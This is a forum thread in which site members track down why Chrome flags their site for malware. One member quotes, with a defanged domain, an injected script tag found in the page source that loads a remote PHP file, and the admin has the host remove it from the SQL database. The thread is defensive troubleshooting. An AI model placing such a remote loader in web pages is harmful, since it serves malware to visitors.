I keep getting the "Malware Detected!" message from Google Chrome.

I don't know if you can do anything about it, but just a heads up :innocent:

I'm surprised that's still happening as I removed all ads from the website, one of which was using that malicious code.

When I click on the google diagnostic info about the malicious code, it only refers to other websites and says no malicious code has been found for the past 90 days. I'm guessing it's some database that swgohome.com got in at google saying we had malicious code and it needs to be updated.

I can assure you there is no malicious code running on our website.

That's still showing up when I view source for the main page...
Code: Select all
<script src="http://infoitpoweringgathering .com/ll.php?kk=11"></script>

(space inserted before ".com" since the board won't let me post it otherwise)

Oh, and as for antivirus, you're better off with something free.

There is where i lose fate.
Why would a team of let's say 500men work on a antivirus, day and night, keeping it updated, and keeping hackers/crackers out of you PC's while not earning anything as the program is free?
Nothing is free....

Did some more research and it appears this script resides in our sql database.
I'm submitting a ticket to the web host to get it fixed.

It didn't happen to me today, Matt. I was a bit worried that this may send new members away from the forums.

Update: got the host to delete the code from the sql database.
